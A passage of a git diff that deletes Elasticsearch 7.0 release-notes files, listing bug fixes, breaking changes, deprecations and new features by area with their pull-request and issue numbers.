-* Store Pending Deletions Fix {es-pull}40345[#40345] (issue: {es-issue}40249[#40249])
-* ShardBulkAction ignore primary response on primary {es-pull}38901[#38901]
-
-Cluster Coordination::
-* Do not perform cleanup if Manifest write fails with dirty exception {es-pull}40519[#40519] (issue: {es-issue}39077[#39077])
-* Cache compressed cluster state size {es-pull}39827[#39827] (issue: {es-issue}39806[#39806])
-* Drop node if asymmetrically partitioned from master {es-pull}39598[#39598]
-* Fixing the custom object serialization bug in diffable utils. {es-pull}39544[#39544]
-* Clean GatewayAllocator when stepping down as master {es-pull}38885[#38885]
-
-Distributed::
-* Enforce retention leases require soft deletes {es-pull}39922[#39922] (issue: {es-issue}39914[#39914])
-* Treat TransportService stopped error as node is closing {es-pull}39800[#39800] (issue: {es-issue}39584[#39584])
-* Use cause to determine if node with primary is closing {es-pull}39723[#39723] (issue: {es-issue}39584[#39584])
-* Don’t ack if unable to remove failing replica {es-pull}39584[#39584] (issue: {es-issue}39467[#39467])
-* Fix NPE on Stale Index in IndicesService {es-pull}38891[#38891] (issue: {es-issue}38845[#38845])
-
-Engine::
-* Advance max_seq_no before add operation to Lucene {es-pull}38879[#38879] (issue: {es-issue}31629[#31629])
-
-Features/Features::
-* Deprecation check for indices with very large numbers of fields {es-pull}39869[#39869] (issue: {es-issue}39851[#39851])
-
-Features/ILM::
-* Correct ILM metadata minimum compatibility version {es-pull}40569[#40569] (issue: {es-issue}40565[#40565])
-* Handle null retention leases in WaitForNoFollowersStep {es-pull}40477[#40477]
-
-Features/Ingest::
-* Ingest ingest then create index {es-pull}39607[#39607] (issues: {es-issue}32758[#32758], {es-issue}32786[#32786], {es-issue}36545[#36545])
-
-Features/Monitoring::
-* Don't emit deprecation warnings on calls to the monitoring bulk API. {es-pull}39805[#39805] (issue: {es-issue}39336[#39336])
-
-Features/Watcher::
-* Fix Watcher stats class cast exception {es-pull}39821[#39821] (issue: {es-issue}39780[#39780])
-* Use any index specified by .watches for Watcher {es-pull}39541[#39541] (issue: {es-issue}39478[#39478])
-* Resolve concurrency with watcher trigger service {es-pull}39092[#39092] (issue: {es-issue}39087[#39087])
-
-Geo::
-* Geo Point parse error fix {es-pull}40447[#40447] (issue: {es-issue}17617[#17617])
-
-Highlighting::
-* Bug fix for AnnotatedTextHighlighter - port of 39525 {es-pull}39750[#39750] (issue: {es-issue}39525[#39525])
-
-Infra/Core::
-* Allow single digit milliseconds in strict date parsing {es-pull}40676[#40676] (issue: {es-issue}40403[#40403])
-* Parse composite patterns using ClassicFormat.parseObject {es-pull}40100[#40100] (issue: {es-issue}39916[#39916])
-* Bat scripts to work with JAVA_HOME with parantheses {es-pull}39712[#39712] (issues: {es-issue}30606[#30606], {es-issue}33405[#33405], {es-issue}38578[#38578], {es-issue}38624[#38624])
-* Change licence expiration date pattern {es-pull}39681[#39681] (issue: {es-issue}39136[#39136])
-* Fix DateFormatters.parseMillis when no timezone is given {es-pull}39100[#39100] (issue: {es-issue}39067[#39067])
-* Don't close caches while there might still be in-flight requests. {es-pull}38958[#38958] (issue: {es-issue}37117[#37117])
-
-Infra/Packaging::
-* Use TAR instead of DOCKER build type before 6.7.0 {es-pull}40723[#40723] (issues: {es-issue}39378[#39378], {es-issue}40511[#40511])
-
-Infra/REST API::
-* Update spec files that erroneously documented parts as optional  {es-pull}39122[#39122]
-* ilm.explain_lifecycle documents human again {es-pull}39113[#39113]
-* Index on rollup.rollup_search.json is a list {es-pull}39097[#39097]
-
-MULTIPLE AREA LABELS::
-* metric on watcher stats is a list not an enum {es-pull}39114[#39114]
-
-Machine Learning::
-* [ML] Fix datafeed skipping first bucket after lookback when aggs are … {es-pull}39859[#39859] (issue: {es-issue}39842[#39842])
-* [ML] refactoring lazy query and agg parsing {es-pull}39776[#39776] (issue: {es-issue}39528[#39528])
-* [ML] Stop the ML memory tracker before closing node {es-pull}39111[#39111] (issue: {es-issue}37117[#37117])
-
-Mapping::
-* Optimise rejection of out-of-range `long` values {es-pull}40325[#40325] (issues: {es-issue}26137[#26137], {es-issue}40323[#40323])
-
-Recovery::
-* Recover peers from translog, ignoring soft deletes {es-pull}38904[#38904] (issue: {es-issue}37165[#37165])
-* Retain history for peer recovery using leases {es-pull}38855[#38855]
-
-Rollup::
-* Remove timezone validation on rollup range queries {es-pull}40647[#40647]
-
-SQL::
-* SQL: Fix display size for DATE/DATETIME {es-pull}40669[#40669]
-* SQL: have LIKE/RLIKE use wildcard and regexp queries {es-pull}40628[#40628] (issue: {es-issue}40557[#40557])
-* SQL: Fix getTime() methods in JDBC {es-pull}40484[#40484]
-* SQL: SYS TABLES: enumerate tables of requested types {es-pull}40535[#40535] (issue: {es-issue}40348[#40348])
-* SQL: passing an input to the CLI "freezes" the CLI after displaying an error message {es-pull}40164[#40164] (issue: {es-issue}40557[#40557])
-* SQL: Wrap ZonedDateTime parameters inside scripts {es-pull}39911[#39911] (issue: {es-issue}39877[#39877])
-* SQL: ConstantProcessor can now handle NamedWriteable {es-pull}39876[#39876] (issue: {es-issue}39875[#39875])
-* SQL: Extend the multi dot field notation extraction to lists of values {es-pull}39823[#39823] (issue: {es-issue}39738[#39738])
-* SQL: values in datetime script aggs should be treated as long {es-pull}39773[#39773] (issue: {es-issue}37042[#37042])
-* SQL: Don't allow inexact fields for MIN/MAX {es-pull}39563[#39563] (issue: {es-issue}39427[#39427])
-* SQL: Fix merging of incompatible multi-fields {es-pull}39560[#39560] (issue: {es-issue}39547[#39547])
-* SQL: fix COUNT DISTINCT column name {es-pull}39537[#39537] (issue: {es-issue}39511[#39511])
-* SQL: Enable accurate hit tracking on demand {es-pull}39527[#39527] (issue: {es-issue}37971[#37971])
-* SQL: ignore UNSUPPORTED fields for JDBC and ODBC modes in 'SYS COLUMNS' {es-pull}39518[#39518] (issue: {es-issue}39471[#39471])
-* SQL: enforce JDBC driver - ES server version parity {es-pull}38972[#38972] (issue: {es-issue}38775[#38775])
-* SQL: fall back to using the field name for column label {es-pull}38842[#38842] (issue: {es-issue}38831[#38831])
-
-Search::
-* Fix Fuzziness#asDistance(String) {es-pull}39643[#39643] (issue: {es-issue}39614[#39614])
-
-Security::
-* Remove dynamic objects from security index {es-pull}40499[#40499] (issue: {es-issue}35460[#35460])
-* Fix libs:ssl-config project setup {es-pull}39074[#39074]
-* Do not create the missing index when invoking getRole {es-pull}39039[#39039]
-
-Snapshot/Restore::
-* Blob store compression fix {es-pull}39073[#39073]
-
-
-
-[[upgrade-7.0.0-rc2]]
-[discrete]
-=== Upgrades
-
-Snapshot/Restore::
-* plugins/repository-gcs: Update google-cloud-storage/core to 1.59.0 {es-pull}39748[#39748] (issue: {es-issue}39366[#39366])
-
-Search::
-* Upgrade to Lucene 8.0.0 GA {es-pull}39992[#39992] (issue: {es-issue}39640[#39640])
-
diff --git a/docs/reference/release-notes/7.0.asciidoc b/docs/reference/release-notes/7.0.asciidoc
deleted file mode 100644
index f457b9652ff..00000000000
--- a/docs/reference/release-notes/7.0.asciidoc
+++ /dev/null
@@ -1,1658 +0,0 @@
-[[release-notes-7.0.0]]
-== {es} version 7.0.0
-
-These release notes include all changes made in the alpha, beta, and RC
-releases of 7.0.0.
-
-Also see <<breaking-changes-7.0,Breaking changes in 7.0>>.
-
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-
-[[breaking-7.0.0]]
-[discrete]
-=== Breaking changes
-
-Aggregations::
-* Remove support for deprecated params._agg/_aggs for scripted metric aggregations {es-pull}32979[#32979] (issues: {es-issue}29328[#29328], {es-issue}31597[#31597])
-* Percentile/Ranks should return null instead of NaN when empty {es-pull}30460[#30460] (issue: {es-issue}29066[#29066])
-* Render sum as zero if count is zero for stats aggregation {es-pull}27193[#27193] (issue: {es-issue}26893[#26893])
-
-Analysis::
-* Remove `delimited_payload_filter` {es-pull}27705[#27705] (issues: {es-issue}26625[#26625], {es-issue}27704[#27704])
-* Limit the number of tokens produced by _analyze {es-pull}27529[#27529] (issue: {es-issue}27038[#27038])
-* Add limits for ngram and shingle settings {es-pull}27211[#27211] (issue: {es-issue}25887[#25887])
-
-Audit::
-* Logfile auditing settings remove after deprecation  {es-pull}35205[#35205]
-* Remove index audit output type {es-pull}37707[#37707] (issues: {es-issue}29881[#29881], {es-issue}37301[#37301])
-
-Authentication::
-* Security: remove wrapping in put user response {es-pull}33512[#33512] (issue: {es-issue}32332[#32332])
-* Remove bwc logic for token invalidation {es-pull}36893[#36893] (issue: {es-issue}36727[#36727])
-
-Authorization::
-* Remove aliases resolution limitations when security is enabled {es-pull}31952[#31952] (issue: {es-issue}31516[#31516])
-* Remove implicit index monitor privilege {es-pull}37774[#37774]
-
-Circuit Breakers::
-* Lower fielddata circuit breaker's default limit {es-pull}27162[#27162] (issue: {es-issue}27130[#27130])
-
-CRUD::
-* Version conflict exception message enhancement {es-pull}29432[#29432] (issue: {es-issue}21278[#21278])
-* Using ObjectParser in UpdateRequest {es-pull}29293[#29293] (issue: {es-issue}28740[#28740])
-* Remove support for internal versioning for concurrency control {es-pull}38254[#38254] (issue: {es-issue}1078[#1078])
-
-Distributed::
-* Remove undocumented action.master.force_local setting {es-pull}29351[#29351]
-* Remove tribe node support {es-pull}28443[#28443]
-* Forbid negative values for index.unassigned.node_left.delayed_timeout {es-pull}26828[#26828]
-* Remove cluster state size {es-pull}40061[#40061] (issues: {es-issue}39806[#39806], {es-issue}39827[#39827], {es-issue}39951[#39951], {es-issue}40016[#40016])
-
-Features/Features::
-* Remove Migration Upgrade and Assistance APIs {es-pull}40075[#40075] (issue: {es-issue}40014[#40014])
-
-Features/Indices APIs::
-* Indices Exists API should return 404 for empty wildcards {es-pull}34499[#34499]
-* Default to one shard {es-pull}30539[#30539]
-* Limit the number of nested documents {es-pull}27405[#27405] (issue: {es-issue}26962[#26962])
-
-Features/Ingest::
-* Add Configuration Except. Data to Metdata {es-pull}32322[#32322] (issue: {es-issue}27728[#27728])
-* Add ECS schema for user-agent ingest processor (#37727) {es-pull}37984[#37984] (issues: {es-issue}37329[#37329], {es-issue}37727[#37727])
-* Remove special handling for ingest plugins {es-pull}36967[#36967] (issues: {es-issue}36898[#36898], {es-issue}36956[#36956])
-
-Features/Java Low Level REST Client::
-* Drop support for the low-level REST client on JDK 7 {es-pull}38540[#38540] (issue: {es-issue}29607[#29607])
-
-Features/Watcher::
-* Remove Watcher Account "unsecure" settings {es-pull}36736[#36736] (issue: {es-issue}36403[#36403])
-
-Features/Stats::
-* Remove the suggest metric from stats APIs {es-pull}29635[#29635] (issue: {es-issue}29589[#29589])
-* Align cat thread pool info to thread pool config {es-pull}29195[#29195] (issue: {es-issue}29123[#29123])
-* Align thread pool info to thread pool configuration {es-pull}29123[#29123] (issue: {es-issue}29113[#29113])
-
-Geo::
-* Use geohash cell instead of just a corner in geo_bounding_box {es-pull}30698[#30698] (issue: {es-issue}25154[#25154])
-
-Index APIs::
-* Always enforce cluster-wide shard limit {es-pull}34892[#34892] (issues: {es-issue}20705[#20705], {es-issue}34021[#34021])
-
-Infra/Circuit Breakers::
-* Introduce durability of circuit breaking exception {es-pull}34460[#34460] (issue: {es-issue}31986[#31986])
-* Circuit-break based on real memory usage {es-pull}31767[#31767]
-
-Infra/Core::
-* Default node.name to the hostname {es-pull}33677[#33677]
-* Remove bulk fallback for write thread pool {es-pull}29609[#29609]
-* CCS: Drop http address from remote cluster info {es-pull}29568[#29568] (issue: {es-issue}29207[#29207])
-* Remove the index thread pool {es-pull}29556[#29556]
-* Main response should not have status 503 when okay {es-pull}29045[#29045] (issue: {es-issue}8902[#8902])
-* Automatically prepare indices for splitting {es-pull}27451[#27451]
-* Don't refresh on `_flush` `_force_merge` and `_upgrade` {es-pull}27000[#27000] (issue: {es-issue}26972[#26972])
-
-Infra/Logging::
-* Elasticsearch json logging  {es-pull}36833[#36833] (issue: {es-issue}32850[#32850])
-
-Infra/Packaging::
-* Packaging: Remove windows bin files from the tar distribution {es-pull}30596[#30596]
-* Package ingest-user-agent as a module {es-pull}36956[#36956]
-* Package ingest-geoip as a module {es-pull}36898[#36898]
-
-Infra/REST API::
-* Remove GET support for clear cache indices {es-pull}29525[#29525]
-* Clear Indices Cache API remove deprecated url params {es-pull}29068[#29068]
-
-Infra/Scripting::
-* Remove support for deprecated StoredScript contexts {es-pull}31394[#31394] (issues: {es-issue}27612[#27612], {es-issue}28939[#28939])
-* Remove getDate methods from ScriptDocValues {es-pull}30690[#30690]
-* Drop `ScriptDocValues#date` and `ScriptDocValues#dates` in 7.0.0 {es-pull}30690[#30690] (issue: {es-issue}23008[#23008])
-
-Infra/Settings::
-* Remove config prompting for secrets and text {es-pull}27216[#27216]
-
-Machine Learning::
-* Remove types from datafeed {es-pull}36538[#36538] (issue: {es-issue}34265[#34265])
-
-Mapping::
-* Match phrase queries against non-indexed fields should throw an exception {es-pull}31060[#31060]
-* Remove legacy mapping code. {es-pull}29224[#29224]
-* Reject updates to the `_default_` mapping. {es-pull}29165[#29165] (issues: {es-issue}15613[#15613], {es-issue}28248[#28248])
-* Remove the `update_all_types` option. {es-pull}28288[#28288]
-* Remove the `_default_` mapping. {es-pull}28248[#28248]
-* Reject the `index_options` parameter for numeric fields {es-pull}26668[#26668] (issue: {es-issue}21475[#21475])
-* Update the default for include_type_name to false. {es-pull}37285[#37285]
-* Support 'include_type_name' in RestGetIndicesAction {es-pull}37149[#37149]
-
-Network::
-* Remove http.enabled setting {es-pull}29601[#29601] (issue: {es-issue}12792[#12792])
-* Remove HTTP max content length leniency {es-pull}29337[#29337]
-* Remove TLS 1.0 as a default SSL protocol {es-pull}37512[#37512] (issue: {es-issue}36021[#36021])
-* Security: remove SSL settings fallback {es-pull}36846[#36846] (issue: {es-issue}29797[#29797])
-
-Percolator::
-* Remove deprecated percolator map_unmapped_fields_as_string setting {es-pull}28060[#28060]
-
-Ranking::
-* Add minimal sanity checks to custom/scripted similarities. {es-pull}33564[#33564] (issue: {es-issue}33309[#33309])
-* Scroll queries asking for rescore are considered invalid {es-pull}32918[#32918] (issue: {es-issue}31775[#31775])
-* Forbid negative scores in function_score query {es-pull}35709[#35709] (issue: {es-issue}33309[#33309])
-* Forbid negative field boosts in analyzed queries {es-pull}37930[#37930] (issue: {es-issue}33309[#33309])
-
-Scripting::
-* Delete deprecated getValues from ScriptDocValues {es-pull}36183[#36183] (issue: {es-issue}22919[#22919])
-
-Search::
-* Remove deprecated url parameters `_source_include` and `_source_exclude` {es-pull}35097[#35097] (issues: {es-issue}22792[#22792], {es-issue}33475[#33475])
-* Disallow negative query boost {es-pull}34486[#34486] (issue: {es-issue}33309[#33309])
-* Forbid negative `weight` in Function Score Query {es-pull}33390[#33390] (issue: {es-issue}31927[#31927])
-* In the field capabilities API, remove support for providing fields in the request body. {es-pull}30185[#30185]
-* Remove deprecated options for query_string {es-pull}29203[#29203] (issue: {es-issue}25551[#25551])
-* Fix Laplace scorer to multiply by alpha (and not add) {es-pull}27125[#27125]
-* Remove _primary and _replica shard preferences {es-pull}26791[#26791] (issue: {es-issue}26335[#26335])
-* Limit the number of expanded fields it query_string and simple_query_string {es-pull}26541[#26541] (issue: {es-issue}25105[#25105])
-* Make purely negative queries return scores of 0. {es-pull}26015[#26015] (issue: {es-issue}23449[#23449])
-* Remove the deprecated _termvector endpoint. {es-pull}36131[#36131] (issues: {es-issue}36098[#36098], {es-issue}8484[#8484])
-* Remove deprecated Graph endpoints {es-pull}35956[#35956]
-* Validate metadata on `_msearch` {es-pull}35938[#35938] (issue: {es-issue}35869[#35869])
-* Make hits.total an object in the search response {es-pull}35849[#35849] (issue: {es-issue}33028[#33028])
-* Remove the distinction between query and filter context in QueryBuilders {es-pull}35354[#35354] (issue: {es-issue}35293[#35293])
-* Throw a parsing exception when boost is set in span_or query (#28390) {es-pull}34112[#34112] (issue: {es-issue}28390[#28390])
-* Track total hits up to 10,000 by default {es-pull}37466[#37466] (issue: {es-issue}33028[#33028])
-* Use mappings to format doc-value fields by default. {es-pull}30831[#30831] (issues: {es-issue}26948[#26948], {es-issue}29639[#29639])
-
-Security::
-* Remove heuristics that enable security on trial licenses {es-pull}38075[#38075] (issue: {es-issue}38009[#38009])
-
-Snapshot/Restore::
-* Include size of snapshot in snapshot metadata  {es-pull}30890[#30890] (issue: {es-issue}18543[#18543])
-* Remove azure deprecated settings {es-pull}26099[#26099] (issue: {es-issue}23405[#23405])
-
-Store::
-* Drop elasticsearch-translog for 7.0 {es-pull}33373[#33373] (issues: {es-issue}31389[#31389], {es-issue}32281[#32281])
-* completely drop `index.shard.check_on_startup: fix` for 7.0 {es-pull}33194[#33194]
-
-Suggesters::
-* Fix threshold frequency computation in Suggesters {es-pull}34312[#34312] (issue: {es-issue}34282[#34282])
-* Make Geo Context Mapping Parsing More Strict {es-pull}32821[#32821] (issues: {es-issue}32202[#32202], {es-issue}32412[#32412])
-* Remove the ability to index or query context suggestions without context {es-pull}31007[#31007] (issue: {es-issue}30712[#30712])
-
-ZenDiscovery::
-* Best-effort cluster formation if unconfigured {es-pull}36215[#36215]
-* Remove DiscoveryPlugin#getDiscoveryTypes {es-pull}38414[#38414] (issue: {es-issue}38410[#38410])
-
-[[breaking-java-7.0.0]]
-[discrete]
-=== Breaking Java changes
-
-Aggregations::
-* Change GeoHashGrid.Bucket#getKey() to return String {es-pull}31748[#31748] (issue: {es-issue}30320[#30320])
-
-Analysis::
-* Remove deprecated AnalysisPlugin#requriesAnalysisSettings method {es-pull}32037[#32037] (issue: {es-issue}32025[#32025])
-
-Features/Java High Level REST Client::
-* Drop deprecated methods from Retry {es-pull}33925[#33925]
-* Cluster health to default to cluster level {es-pull}31268[#31268] (issue: {es-issue}29331[#29331])
-* Remove deprecated API methods {es-pull}31200[#31200] (issue: {es-issue}31069[#31069])
-
-Features/Java Low Level REST Client::
-* Drop deprecated methods {es-pull}33223[#33223] (issues: {es-issue}29623[#29623], {es-issue}30315[#30315])
-* Remove support for maxRetryTimeout from low-level REST client {es-pull}38085[#38085] (issues: {es-issue}25951[#25951], {es-issue}31834[#31834], {es-issue}33342[#33342])
-
-Geo::
-* Decouple geojson parse logic from ShapeBuilders {es-pull}27212[#27212]
-
-Infra/Core::
-* Remove RequestBuilder from Action {es-pull}30966[#30966]
-* Handle scheduler exceptions {es-pull}38014[#38014] (issues: {es-issue}28667[#28667], {es-issue}36137[#36137], {es-issue}37708[#37708])
-
-Infra/Transport API::
-* Java api clean up: remove deprecated `isShardsAcked` {es-pull}28311[#28311] (issues: {es-issue}27784[#27784], {es-issue}27819[#27819])
-
-ZenDiscovery::
-* Make node field in JoinRequest private {es-pull}36405[#36405]
-
-[[deprecation-7.0.0]]
-[discrete]
-=== Deprecations
-
-Aggregations::
-* Deprecate dots in aggregation names {es-pull}31468[#31468] (issues: {es-issue}17600[#17600], {es-issue}19040[#19040])
-
-Analysis::
-* Replace parameter unicodeSetFilter with unicode_set_filter  {es-pull}29215[#29215] (issue: {es-issue}22823[#22823])
-* Replace delimited_payload_filter by delimited_payload {es-pull}26625[#26625] (issue: {es-issue}21978[#21978])
-* Deprecate Standard Html Strip Analyzer in master {es-pull}26719[#26719] (issue: {es-issue}4704[#4704])
-* Remove `nGram` and  `edgeNGram` token filter names (#38911) {es-pull}39070[#39070] (issues: {es-issue}30209[#30209], {es-issue}38911[#38911])
-
-Audit::
-* Deprecate index audit output type {es-pull}37301[#37301] (issue: {es-issue}29881[#29881])
-
-Core::
-* Deprecate use of scientific notation in epoch time parsing {es-pull}36691[#36691]
-* Add backcompat for joda time formats {es-pull}36531[#36531]
-
-Cluster Coordination::
-* Deprecate size in cluster state response {es-pull}39951[#39951] (issue: {es-issue}39806[#39806])
-
-Features/Indices APIs::
-* Default copy settings to true and deprecate on the REST layer {es-pull}30598[#30598]
-* Reject setting index.optimize_auto_generated_id after version 7.0.0 {es-pull}28895[#28895] (issue: {es-issue}27600[#27600])
-
-Features/Ingest::
-* Deprecate `_type` in simulate pipeline requests {es-pull}37949[#37949] (issue: {es-issue}37731[#37731])
-
-Features/Java High Level REST Client::
-* Deprecate HLRC security methods {es-pull}37883[#37883] (issues: {es-issue}36938[#36938], {es-issue}37540[#37540])
-* Deprecate HLRC EmptyResponse used by security {es-pull}37540[#37540] (issue: {es-issue}36938[#36938])
-
-Features/Watcher::
-* Deprecate xpack.watcher.history.cleaner_service.enabled {es-pull}37782[#37782] (issue: {es-issue}32041[#32041])
-* deprecate types for watcher {es-pull}37594[#37594] (issue: {es-issue}35190[#35190])
-
-Graph::
-* Deprecate types in `_graph/explore` calls. {es-pull}40466[#40466]
-
-Infra/Core::
-* Deprecate negative epoch timestamps {es-pull}36793[#36793]
-* Deprecate use of scientific notation in epoch time parsing {es-pull}36691[#36691]
-
-Infra/Packaging::
-* Deprecate fallback to java on PATH {es-pull}37990[#37990]
-
-Infra/Scripting::
-* Add types deprecation to script contexts {es-pull}37554[#37554]
-* Deprecate _type from LeafDocLookup {es-pull}37491[#37491]
-* Remove deprecated params.ctx {es-pull}36848[#36848] (issue: {es-issue}34059[#34059])
-
-Infra/Transport API::
-* Deprecate the transport client in favour of the high-level REST client {es-pull}27085[#27085]
-
-Machine Learning::
-* Deprecate X-Pack centric ML endpoints {es-pull}36315[#36315] (issue: {es-issue}35958[#35958])
-* Adding ml_settings entry to HLRC and Docs for deprecation_info {es-pull}38118[#38118]
-* Datafeed deprecation checks {es-pull}38026[#38026] (issue: {es-issue}37932[#37932])
-* Remove "8" prefixes from file structure finder timestamp formats {es-pull}38016[#38016]
-* Adjust structure finder for Joda to Java time migration {es-pull}37306[#37306]
-* Resolve 7.0.0 TODOs in ML code {es-pull}36842[#36842] (issue: {es-issue}29963[#29963])
-
-Mapping::
-* Deprecate type exists requests. {es-pull}34663[#34663]
-* Deprecate types in index API {es-pull}36575[#36575] (issues: {es-issue}35190[#35190], {es-issue}35790[#35790])
-* Deprecate uses of _type as a field name in queries {es-pull}36503[#36503] (issue: {es-issue}35190[#35190])
-* Deprecate types in update_by_query and delete_by_query {es-pull}36365[#36365] (issue: {es-issue}35190[#35190])
-* For msearch templates, make sure to use the right name for deprecation logging. {es-pull}36344[#36344]
-* Deprecate types in termvector and mtermvector requests. {es-pull}36182[#36182]
-* Deprecate types in update requests. {es-pull}36181[#36181]
-* Deprecate types in document delete requests. {es-pull}36087[#36087]
-* Deprecate types in get, exists, and multi get. {es-pull}35930[#35930]
-* Deprecate types in search and multi search templates. {es-pull}35669[#35669]
-* Deprecate types in explain requests. {es-pull}35611[#35611]
-* Deprecate types in validate query requests. {es-pull}35575[#35575]
-* Deprecate types in count and msearch. {es-pull}35421[#35421] (issue: {es-issue}34041[#34041])
-* Deprecate types in rollover index API {es-pull}38039[#38039] (issue: {es-issue}35190[#35190])
-* Deprecate types in get field mapping API {es-pull}37667[#37667] (issue: {es-issue}35190[#35190])
-* Deprecate types in the put mapping API. {es-pull}37280[#37280] (issues: {es-issue}29453[#29453], {es-issue}37285[#37285])
-* Support include_type_name in the field mapping and index template APIs. {es-pull}37210[#37210]
-* Deprecate types in create index requests. {es-pull}37134[#37134] (issues: {es-issue}29453[#29453], {es-issue}37285[#37285])
-* Deprecate use of the _type field in aggregations. {es-pull}37131[#37131] (issue: {es-issue}36802[#36802])
-* Deprecate reference to _type in lookup queries {es-pull}37016[#37016] (issue: {es-issue}35190[#35190])
-* Deprecate the document create endpoint. {es-pull}36863[#36863]
-* Deprecate types in index API {es-pull}36575[#36575] (issues: {es-issue}35190[#35190], {es-issue}35790[#35790])
-* Deprecate types in update APIs {es-pull}36225[#36225]
-
-Migration::
-* Deprecate X-Pack centric Migration endpoints {es-pull}35976[#35976] (issue: {es-issue}35958[#35958])
-
-Monitoring::
-* Deprecate /_xpack/monitoring/* in favor of /_monitoring/* {es-pull}36130[#36130] (issue: {es-issue}35958[#35958])
-
-Rollup::
-* Re-deprecate xpack rollup endpoints {es-pull}36451[#36451] (issue: {es-issue}36044[#36044])
-* Deprecate X-Pack centric rollup endpoints {es-pull}35962[#35962] (issue: {es-issue}35958[#35958])
-
-Scripting::
-* Adds deprecation logging to ScriptDocValues#getValues. {es-pull}34279[#34279] (issue: {es-issue}22919[#22919])
-* Conditionally use java time api in scripting {es-pull}31441[#31441]
-
-Search::
-* Deprecate filtering on `_type`. {es-pull}29468[#29468] (issue: {es-issue}15613[#15613])
-* Remove X-Pack centric graph endpoints {es-pull}36010[#36010] (issue: {es-issue}35958[#35958])
-* Deprecate use of type in reindex request body {es-pull}36823[#36823]
-* Add typless endpoints for get_source and exist_source {es-pull}36426[#36426]
-
-Security::
-* Deprecate X-Pack centric license endpoints {es-pull}35959[#35959] (issue: {es-issue}35958[#35958])
-* Deprecate /_xpack/security/* in favor of /_security/* {es-pull}36293[#36293] (issue: {es-issue}35958[#35958])
-
-SQL::
-* Deprecate X-Pack SQL translate endpoint {es-pull}36030[#36030]
-* Deprecate X-Pack centric SQL endpoints {es-pull}35964[#35964] (issue: {es-issue}35958[#35958])
-
-Watcher::
-* Deprecate X-Pack centric watcher endpoints {es-pull}36218[#36218] (issue: {es-issue}35958[#35958])
-
-
-[[feature-7.0.0]]
-[discrete]
-=== New features
-
-Allocation::
-* Node repurpose tool {es-pull}39403[#39403] (issues: {es-issue}37347[#37347], {es-issue}37748[#37748])
-
-Analysis::
-* Relax TermVectors API to work with textual fields other than TextFieldType {es-pull}31915[#31915] (issue: {es-issue}31902[#31902])
-* Add support for inlined user dictionary in Nori {es-pull}36123[#36123] (issue: {es-issue}35842[#35842])
-* Add a prebuilt ICU Analyzer {es-pull}34958[#34958] (issue: {es-issue}34285[#34285])
-
-Authentication::
-* Add support for API keys to access Elasticsearch {es-pull}38291[#38291] (issue: {es-issue}34383[#34383])
-* OIDC realm authentication flows {es-pull}37787[#37787]
-* OIDC Realm JWT+JWS related functionality {es-pull}37272[#37272] (issues: {es-issue}35339[#35339], {es-issue}37009[#37009])
-* OpenID Connect Realm base functionality {es-pull}37009[#37009] (issue: {es-issue}35339[#35339])
-
-Authorization::
-* Allow custom authorization with an authorization engine  {es-pull}38358[#38358] (issues: {es-issue}32435[#32435], {es-issue}36245[#36245], {es-issue}37328[#37328], {es-issue}37495[#37495], {es-issue}37785[#37785], {es-issue}38137[#38137], {es-issue}38219[#38219])
-* Wildcard IndicesPermissions don't cover .security {es-pull}36765[#36765]
-
-CCR::
-* Generalize search.remote settings to cluster.remote {es-pull}33413[#33413]
-* Add ccr follow info api {es-pull}37408[#37408] (issue: {es-issue}37127[#37127])
-
-Distributed::
-* Log messages from allocation commands {es-pull}25955[#25955] (issues: {es-issue}22821[#22821], {es-issue}25325[#25325])
-
-Features/ILM::
-* Add unfollow action {es-pull}36970[#36970] (issue: {es-issue}34648[#34648])
-
-Features/Ingest::
-* Revert "Introduce a Hashing Processor (#31087)" {es-pull}32178[#32178]
-* Add ingest-attachment support for per document `indexed_chars` limit {es-pull}28977[#28977] (issue: {es-issue}28942[#28942])
-
-Features/Java High Level REST Client::
-* GraphClient for the high level REST client and associated tests {es-pull}32366[#32366]
-
-Features/Monitoring::
-* Collect only display_name (for now) {es-pull}35265[#35265] (issue: {es-issue}8445[#8445])
-
-Geo::
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}36751[#36751] (issue: {es-issue}35320[#35320])
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}35320[#35320] (issue: {es-issue}32039[#32039])
-* geotile_grid implementation {es-pull}37842[#37842] (issue: {es-issue}30240[#30240])
-* Fork Lucene's LatLonShape Classes to local lucene package {es-pull}36794[#36794]
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}36751[#36751] (issue: {es-issue}35320[#35320])
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}35320[#35320] (issue: {es-issue}32039[#32039])
-
-Infra/Core::
-* Skip shard refreshes if shard is `search idle` {es-pull}27500[#27500]
-
-Infra/Logging::
-* Logging: Unify log rotation for index/search slow log {es-pull}27298[#27298]
-
-Infra/Plugins::
-* Reload secure settings for plugins {es-pull}31383[#31383] (issue: {es-issue}29135[#29135])
-
-Infra/REST API::
-* Add an `include_type_name` option. {es-pull}29453[#29453] (issue: {es-issue}15613[#15613])
-
-Java High Level REST Client::
-* Add rollup search {es-pull}36334[#36334] (issue: {es-issue}29827[#29827])
-
-Java Low Level REST Client::
-* Make warning behavior pluggable per request {es-pull}36345[#36345]
-* Add PreferHasAttributeNodeSelector {es-pull}36005[#36005]
-
-Machine Learning::
-* Filter undefined job groups from update job calendar actions {es-pull}30757[#30757]
-* Add delayed datacheck to the datafeed job runner {es-pull}35387[#35387] (issue: {es-issue}35131[#35131])
-* Adds set_upgrade_mode API endpoint {es-pull}37837[#37837]
-
-Mapping::
-* Add a `feature_vector` field. {es-pull}31102[#31102] (issue: {es-issue}27552[#27552])
-* Expose Lucene's FeatureField. {es-pull}30618[#30618]
-* Make typeless APIs usable with indices whose type name is different from `_doc` {es-pull}35790[#35790] (issue: {es-issue}35190[#35190])
